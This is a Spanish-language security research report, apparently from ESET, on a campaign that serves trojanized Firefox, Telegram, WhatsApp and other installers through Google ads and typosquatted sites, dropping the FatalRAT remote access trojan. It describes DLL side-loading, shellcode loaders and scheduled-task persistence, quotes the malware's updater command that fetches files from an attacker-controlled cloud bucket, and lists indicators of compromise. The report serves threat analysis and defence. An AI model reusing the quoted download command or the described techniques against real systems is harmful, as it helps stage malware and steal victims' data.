Investigadores de ESET identificaron una campaña de malware que apunta a las personas de habla china en el sudeste y este de Asia mediante la compra de anuncios engañosos para que aparecen en los resultados de búsqueda de Google y que conducen a la descarga de instaladores troyanizados. Los atacantes desconocidos crearon sitios web falsos con una apariencia idéntica a la de Firefox, WhatsApp o Telegram, pero además de proporcionar el software legítimo, también descargan FatalRAT, un troyano de acceso remoto (RAT, por sus siglas en inglés) que otorga al atacante el control de la computadora comprometida.

Puntos clave de esta publicación:

  • Los atacantes compraron anuncios para posicionar sus sitios web maliciosos en la sección "patrocinada" de los resultados de búsqueda de Google. Informamos de estos anuncios a Google y se eliminaron de inmediato.
  • Los sitios web y los instaladores descargados de estos sitios están en su mayoría en chino y, en algunos casos, ofrecen falsas versiones de software en chino que no están disponibles en China.
  • Observamos víctimas principalmente en el sudeste y este de Asia, lo que sugiere que los anuncios estaban dirigidos a esa región.
  • Observamos estos ataques entre agosto de 2022 y enero de 2023, pero según nuestra telemetría, se han utilizado versiones anteriores de los instaladores desde al menos mayo de 2022.
  • Ninguno de los programas maliciosos o la infraestructura de red utilizada en esta campaña se ha asociado con actividades conocidas de ningún grupo mencionado, por lo que, por ahora, no hemos atribuido esta actividad a ningún grupo conocido.

Victimología

La Figura 1 muestra un mapa de calor con los países donde detectamos los ataques entre agosto de 2022 y enero de 2023. La mayoría de los ataques afectaron a personas en Taiwán, China y Hong Kong.

Figura 1. Países donde detectamos los ataques entre agosto de 2022 y enero de 2023

También observamos un pequeño número de casos en:

  • Malasia
  • Japón
  • Las Filipinas
  • Tailandia
  • Singapur
  • Indonesia
  • Birmania

Descripción general de la campaña

En la Figura 2 se muestra una descripción general simplificada del ataque. Una cadena de múltiples componentes finalmente instala el malware FatalRAT que fue descrito por los investigadores de AT&T (@attcyber) en agosto de 2021.

Figura 2. Resumen simplificado del ataque

Falsos sitios web

Los atacantes registraron varios nombres de dominio que apuntaban a la misma dirección IP: un servidor que aloja varios sitios web que descargan programas troyanizados. Algunos de estos sitios web se ven idénticos a los sitios legítimos cuya identidad es suplantada, pero en su lugar ofrecen instaladores maliciosos. Los otros sitios web, posiblemente traducidos por los atacantes, ofrecen versiones en chino de software que no está disponible en China, como Telegram, tal como se observa en la Figura 3.

Figura 3. Sitio web falso de Telegram que descarga el malware FatalRAT

Observamos sitios web maliciosos e instaladores para las siguientes aplicaciones, aproximadamente en orden de popularidad:

    • Chrome
    • Firefox
    • Telegram
    • WhatsApp
    • Line
    • Signal
    • Skype
    • Billetera de Bitcoin Electrum
    • Sogou Pinyin Method
    • Youdao, una app de traducción y diccionario
    • WPS Office, una suite de office gratuita

Puede ver otros sitios web falsos en la galería que se muestra en la Figura 4 (haga clic en una imagen para ampliarla). Aparte de electrumx[.]org, un sitio web falso en inglés para la billetera Electrum Bitcoin, todos los demás sitios web están en chino, lo que sugiere que los atacantes están interesados principalmente en personas que hablan esta lengua.

 

Figura 4. Sitios web falsos creados por los atacantes para desplegar instaladores maliciosos (haga clic para ampliar)

Si bien, en teoría, hay muchas formas posibles de que las potenciales víctimas sean dirigidas a estos sitios web falsos, un sitio de noticias informó (versión en inglés aquí) reportó que se estaban desplegando anuncios que conducía a uno de estos sitios web maliciosos cuando buscaban el navegador Firefox en Google. No pudimos reproducir dichos resultados de búsqueda, pero creemos que los anuncios solo se mostraron a los usuarios de la región objetivo. En la Figura 5 se muestra un ejemplo (imagen de la publicación original anterior). Informamos los sitios web a Google y los anuncios fueron eliminados.

Figura 5. Resultados para la búsqueda de “Firefox” con la aparición de un sitio web falso entre los anuncios (crédito de la imagen: landiannews.com)

Dado que muchos de los nombres de dominio que los atacantes registraron para sus sitios web son muy similares a los dominios legítimos, también es posible que los atacantes también se basen en la typosquatting para atraer víctimas potenciales a sus sitios web. Es decir, sitios cuyos nombres presentan leves variaciones con respecto a los legítimos. Algunos ejemplos son:

Encontrará el resto de los nombres de dominio detectados en la sección de IoC.

Instaladores

Los instaladores descargados de los sitios web falsos no están alojados en el mismo servidor que los sitios web, sino en el Servicio Cloud Object Storage Service de Alibaba. Son archivos MSI firmados digitalmente (consulte la sección Certificados) creados con Advanced Installer. La Figura 6 muestra los instaladores maliciosos que los atacantes cargaron en el servicio de almacenamiento en la nube el 6 de enero de 2023.

Figura 6. Instaladores maliciosos cargados por los atacantes a su almacenamiento en la nube el 6 de enero de 2023

Cuando estos instaladores son ejecutados, normalmente:

  • Droppean y ejecutan el loader malicioso y los archivos necesarios para ejecutar el malware FatalRAT en el directorio %PROGRAMDATA%\Progtmy.
  • Droppean el actualizador malicioso y los archivos relacionados en el directorio %PROGRAMDATA%\Progtmy\0.
  • Droppean un archivo llamado ossutilconfig en el directorio %USERPROFILE%. Este archivo contiene las credenciales utilizadas por el actualizador para conectarse a un bucket remoto en la nube de Alibaba.
  • Crean un directorio vacío %PROGRAMDATA%\Progptp (aunque observamos algunos casos en los que el malware FatalRAT se instaló en este directorio).
  • Droppean y ejecutan el instalador legítimo en C:\Program Files\Common Files (consulte CommonFiles64Folder).
  • Crean tareas programadas para ejecutar los componentes del loader y el actualizado.

El malware se ejecuta mediante la carga lateral de una DLL maliciosa, libpng13.dll, que es utilizada por sccs.exe (Browser Support Module), un ejecutable legítimo desarrollado por Xunlei. El libpng13.dll original también se incluye en el paquete del instalador (renombrado a lo que parece ser un nombre aleatorio) porque la DLL maliciosa reenvía sus funciones exportadas a la DLL original. Algunas de las exportaciones reenviadas en la DLL maliciosa se muestran en la Figura 7. La imagen muestra que la DLL original se renombró a BHuedjhd.dll en este ejemplo y que la DLL maliciosa se compiló como Dll22.dll.

Figura 7. Parte de las funciones exportadas en la DLL maliciosa que son reenviadas a la original

El actualizador de malware se ejecuta de manera similar, mediante la carga lateral de dr.dll, utilizada por un binario legítimo desarrollado por Tencent. La DLL maliciosa es muy simple y ejecuta OSSUTIL (incluido en el paquete del instalador como ssu.exe) para descargar archivos desde un bucket controlado por el atacante en Alibaba Cloud. El comando ejecutado por la DLL es:

cmd /C "C:\ProgramData\Progtmy\2\ssu.exe cp -r oss://occ-a1/dll/3/  C:\ProgramData\Progtmy\ --update"

Esto debería actualizar los archivos en el directorio local %PROGRAMDATA%\Progtmy del bucket remoto occ-a1 (un bucket diferente a los que se usan para almacenar los instaladores, pero en la misma cuenta), pero no funciona en ninguno de los instaladores que analizamos porque el subdirectorio %PROGRAMDATA%\Progtmy\2 no existe (debe ser el subdirectorio 0, creado por el instalador).

Los atacantes cometieron el mismo error con las tareas programadas creadas para el actualizador, ya que la ruta de ejecución también hace referencia a un subdirectorio 2 que no existe. En la mayoría de los casos, se crean cuatro tareas programadas: dos para el RAT (una configurada para ejecutarse periódicamente y la otra cada vez que cualquier usuario inicie sesión en la PC) y dos para el actualizador. Los nombres de las tareas se basan en el número de compilación de Windows y el nombre de la computadora, como se muestra en la Figura 8.

Figura 8. Tarea programada creada por los instaladores maliciosos

Loaders

El loader – libpng13.dll– es un componente muy simple que abre y ejecuta en memoria un archivo llamado Micr.jpg, ubicado en el mismo directorio que la DLL. Los atacantes ofuscaron el loader con muchas llamadas a una función que solo imprime algunos valores hardcodeados. Es posible que este comportamiento se haya utilizado para evitar la detección de soluciones de seguridad o para dificultar el análisis de la DLL.

La Figura 9 muestra un ejemplo del código ofuscado a la izquierda y el código desofuscado a la derecha.

Figura 9. Parte del código descompilado para libpng13.dll a la izquierda y a la derecha el mismo código desofuscado

Micr.jpg es en realidad un shellcode que también contiene una DLL embebida. El propósito de este shellcode es cargar y ejecutar en la memoria la DLL embebida llamando a una función de exportación de la DLL llamada SignalChromeElf. Antes de la ejecución de esta función de exportación, el shellcode reconstruye la tabla de importaciones de la DLL y llama a llEntryPoint, que simplemente invoca la función DisableThreadLibraryCalls de la API de Windows como una forma de aumentar la sigilosidad de la DLL.

SignalChromeElf esencialmente descifrará, cargará y ejecutará un payload cifrado ubicado en la DLL embebida. Este payload cifrado es el malware FatalRAT. Después de su descifrado la DLL encontrará la dirección de una función de exportación llamada SVP7, que contiene el punto de entrada del malware, y la llamará, pasando la configuración cifrada de FatalRAT como argumento.

La función en la DLL embebida que descifra el payload es la misma que la función utilizada en FatalRAT para descifrar su configuración. Un ejemplo de esta función se muestra en la Figura 10.

FatalRAT

FatalRAT es un troyano de acceso remoto que fue documentado en agosto de 2021 por AT&T Alien Labs. Este malware proporciona a los atacantes un conjunto de funcionalidades que permite realizar diversas actividades maliciosas en la computadora de la víctima. Por ejemplo:

  • Registrar las pulsaciones del teclado
  • Cambiar la resolución de pantalla de la víctima
  • Terminar los procesos del navegador y robar o eliminar datos almacenados en ellos. Los navegadores objetivo son:
    • Chrome
    • Firefox
    • QQ
    • Sogou Explorer
  • Descargar y ejecutar un archivo
  • Ejecutar comandos de shell

Este malware contiene varias comprobaciones para determinar si se está ejecutando en un entorno virtualizado. Dependiendo de su configuración, estas comprobaciones pueden ejecutarse o no.

A partir de nuestro análisis, pudimos determinar que la versión FatalRAT utilizada en esta campaña es muy similar a la documentada por AT&T en su publicación, por lo que no entraremos en más detalles. Una comparación de ambas versiones se puede observar en la Figura 11, mientras que en la Figura 10 se muestra el código descompilado utilizado para descifrar strings en las muestras de FatalRAT de esta campaña, que es el mismo que el descrito por AT&T.

Figura 10. Código descompilado de una función utilizada por una muestra de FatalRAT para descifrar sus strings de configuración

Figura 11. Comparación en BinDiff entre una muestra de FatalRAT analizada por AT&T y la muestra de FatalRAT que encontramos en esta campaña

Versiones previas

Encontramos una versión anterior del instalador malicioso que los atacantes han usado desde al menos mayo de 2022. A diferencia de los instaladores que describimos anteriormente, esta versión contiene un payload cifrado con XOR, que se divide en tres archivos: Micr.flv, Micr2.flv, y Micr3.flv, cada archivo cifrado con una clave XOR de un solo byte diferente. Una vez descifrado, el contenido de los tres archivos se concatena, formando un shellcode que se comunica con un servidor de C&C para descargar y ejecutar más shellcode.

La DLL del loader en este caso se llama dr.dll, el mismo nombre que se usa para el mecanismo de actualización en versiones posteriores del instalador, cargada lateralmente por el mismo ejecutable legítimo. Dado que esta versión anterior no parece tener un actualizador, creemos que los atacantes la reemplazaron con la nueva versión del instalador desde agosto de 2022.

El usuario de Twitter Jirehlov Solace informó acerca de otras versiones de los instaladores a partir de mayo de 2022, como se puede ver en este hilo. Aunque algunos de esos instaladores son los mismos que los de este informe, la mayoría de ellos parecen ser diferentes, compilados como archivos EXE (no instaladores MSI) y utilizan una variedad de paquetes de software. Esas muestras probablemente estén relacionadas con la Operación Aliento de Dragón (en inglés Operation Dragon Breath) descrita por Qi An Xin en mayo de 2022.

Conclusión

Los atacantes se han esforzado para que los nombres de dominio de los sitios web falsos sean lo más similares posible a los nombres oficiales. En la mayoría de los casos los sitios web falsos son copias idénticas de los sitios legítimos. En cuanto a los instaladores troyanizados, los mismos instalan la aplicación real que el usuario estaba buscando, evitando sospechas de un posible compromiso en la máquina de la víctima. Por todas estas razones, vemos cuán importante es verificar cuidadosamente la URL que estamos visitando antes de descargar el software. Es recomendable que luego de verificar que un sitio web es real escribirlo directamente en la barra de direcciones del navegador.

Dado que el malware utilizado es esta campaña, FatalRAT, contiene varios comandos que permiten al atacante manipular datos de diferentes navegadores, y que los datos de las víctimas muestra que no parecen estar enfocados en un tipo de usuario en particular, cualquiera puede verse afectado. Es posible que los atacantes estén únicamente interesados ​​en el robo de información, como credenciales web, para venderlas en foros clandestinos, o en usar esta información para otro tipo de campaña maliciosa son fines económicos, pero por ahora la atribución específica de esta campaña a un actor de amenazas conocido o nuevo es imposible.

Indicadores de Compromiso (IoC)

Archivos

SHA-1 Filename ESET detection name Description
00FD2783BBFA313A41A1A96F708BC1A4BB9EACBD Chrome-Setup.msi Win32/Agent.AFAH Malicious MSI installer.
3DAC2A16F023F9F8C7F8C40937EE54BBA5E82F47 Firefox-x64.msi Win32/Agent.AFAH Malicious MSI installer.
51D29B025A0D4C5CDC799689462FAE53765C02A3 LINE-Setup.msi Win32/Agent.AFAH Malicious MSI installer.
64C60F503662EF6FF13CC60AB516D33643668449 Signal-Setup.msi Win32/Agent.AFAH Malicious MSI installer.
2172812BE94BFBB5D11B43A8BF53F8D3AE323636 Skype-x64.msi Win32/Agent.AFAH Malicious MSI installer.
3620B83C0F2899B85DC0607EFDEC3643BCA2441D Sogou-setup.msi Win32/Agent.AFAH Malicious MSI installer.
1FBE34ABD5BE9826FD5798C77FADCAC170F46C07 Whats-64.msi Win32/Agent.AFAH Malicious MSI installer.
23F8FA0E08FB771545CD842AFDE6604462C2B7E3 Whats-Setup.msi Win32/Agent.AFAH Malicious MSI installer.
C9970ACED030AE08FA0EE5D9EE70A392C812FB1B WhatsApp-中文.msi (machine translation: Chinese) Win32/Agent.AFAH Malicious MSI installer.
76249D1EF650FA95E73758DD334D7B51BD40A2E6 WPS-SetuWhatsApp-中文p.msi (machine translation: Chinese) Win32/Agent.AFAH Malicious MSI installer.
DBE21B19C484645000F4AEE558E5546880886DC0 电报-中文版.msi (machine translation: Telegram - Chinese Version) Win32/Agent.AFAH Malicious MSI installer.
1BE646816C8543855A96460D437CCF60ED4D31FE 电报中文-64.msi (machine translation: Telegram Chinese) Win32/Agent.AFAH Malicious MSI installer.
B6F068F73A8F8F3F2DA1C55277E098B98F7963EC 电报中文-setup.msi (machine translation: Telegram Chinese) Win32/Agent.AFAH Malicious MSI installer.
2A8297247184C0877E75C77826B40CD2A97A18A7 windows-x64中文.exe (machine translation: Chinese) Win32/ShellcodeRunner.BR Malicious installer (older version).
ADC4EB1EDAC5A53A37CC8CC90B11824263355687 libpng13.dll Win32/Agent.AFAH Loader DLL.
EF0BB8490AC43BF8CF7BBA86B137B0D29BEE61FA dr.dll Win32/Agent.AFAH Updater DLL.
AD4513B8349209717A351E1A18AB9FD3E35165A3 dr.dll Win32/ShellcodeRunner.BR Loader DLL.

Red

IP Provider First seen Details
107.148.35[.]6 PEG TECH INC 2022-10-15 Server hosting malicious websites.
firefoxs[.]org
googlechromes[.]com
youedao[.]com
telegramxe[.]com
telegramxe[.]net
telegramsz[.]net
whatcpp[.]com
whatcpp[.]net
whatsappt[.]org
telegraem[.]org
telegraxm[.]net
skype-cn[.]org
electrumx[.]org
line-cn[.]net
whateapp[.]net
whatcapp[.]org
107.148.45[.]20 PEG TECH INC 2022-12-19 12-03.telegramxe[.]com; C&C server.
107.148.45[.]32 PEG TECH INC 2023-01-04 12-25.telegraem[.]org; C&C server.
107.148.45[.]34 PEG TECH INC 2023-01-06 12-25.telegraxm[.]org; C&C server.
107.148.45[.]37 PEG TECH INC 2022-12-10 12-08.telegraem[.]org; C&C server.
107.148.45[.]48 PEG TECH INC 2022-12-22 12-16.pinyin-sougou[.]com; C&C server.
193.203.214[.]75 Yuhonet International Limited 2022-06-16 ghg.telegream[.]online; C&C server.

Certificados

Serial number 26483C52A9B6A99A4FB18F69F8E575CE
Thumbprint 505CF4147DD08CA6A7BF3DFAE9590AC62B039F6E
Subject CN TeCert
Subject O N/A
Subject L N/A
Subject S N/A
Subject C N/A
Valid from 2022-12-16 11:46:19
Valid to 2023-12-16 12:06:19

Serial number 317984D3F2ACDAB84095C93874BD10A9
Thumbprint 457FC3F0CEC55DAAE551014CF87D2294C3EADDB1
Subject CN Telegram_Inc
Subject O N/A
Subject L N/A
Subject S N/A
Subject C N/A
Valid from 2022-06-02 11:10:49
Valid to 2023-06-02 11:30:49

Técnicas de MITRE ATT&CK

Esta tabla fue creada utilizando la versión 12 del framework MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1583.001 Acquire Infrastructure: Domains The attackers acquired domain names for their malicious websites and C&C servers.
T1583.003 Acquire Infrastructure : Virtual Private Server The attackers acquired VPS servers to store their malicious websites.
T1585.003 Establish Accounts: Cloud Accounts The attackers acquired accounts in Alibaba Cloud Object Storage Service to host their malicious MSI installers.
T1608.001 Stage Capabilities: Upload Malware The attackers uploaded their malicious MSI files to Alibaba Cloud Object Storage Service.
T1587.002 Develop Capabilities: Code Signing Certificates The attackers used self-signed certificates to sign their malicious MSI Installers.
Initial Access T1189 Drive-by Compromise The attackers used Google Ads to direct their victims to their malicious websites.
Execution T1204.002 User Execution: Malicious File The attackers have relied on their victims to execute the malicious MSI installers.
T1059.003 Command and Scripting Interpreter: Windows Command Shell The malware updater uses cmd.exe to download files from Alibaba Cloud Object Storage Service.
T1106 Native API The loaders use API calls such as VirtualAlloc to load and execute malicious components into memory.
Persistence T1053.005 Scheduled Task/Job: Scheduled Task The MSI installers create scheduled tasks to achieve persistence.
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder FatalRAT creates a registry Run key to achieve persistence.
Defense Evasion T1140 Deobfuscate/Decode Files or Information The loaders and FatalRAT component use various encryption algorithms to hide payloads and strings.
T1027.007 Obfuscated Files or Information: Dynamic API Resolution The loaders use dynamic API resolution to avoid detection.
T1574.002 Hijack Execution Flow: DLL Side-Loading The attackers have used DLL side-loading to execute their malicious payloads.
T1497.001 Virtualization/Sandbox Evasion: System Checks FatalRAT performs various checks to detect whether it’s running on a virtual machine.
T1027.009 Obfuscated Files or Information: Embedded Payloads The Micr.jpg file contains shellcode and an embedded DLL file that loads FatalRAT.
T1553.002 Subvert Trust Controls: Code Signing The attackers have used self-signed certificates to sign their malicious MSI files.
Collection T1056.001 Input Capture: Keylogging FatalRAT has keylogger functionalities.
T1119 Automated Collection FatalRAT automatically collects information from a compromised machine and sends it to the C&C server.
Command and Control T1573.001 Encrypted Channel: Symmetric Cryptography FatalRAT encrypts data with a custom encryption algorithm before it is sent to the C&C server.
T1095 Non-Application Layer Protocol FatalRAT uses TCP for C&C communications.
Exfiltration T1020 Automated Exfiltration FatalRAT automatically sends information from a compromised machine to its C&C.
T1041 Exfiltration Over C2 Channel FatalRAT exfiltrates data over the same channel used for C&C.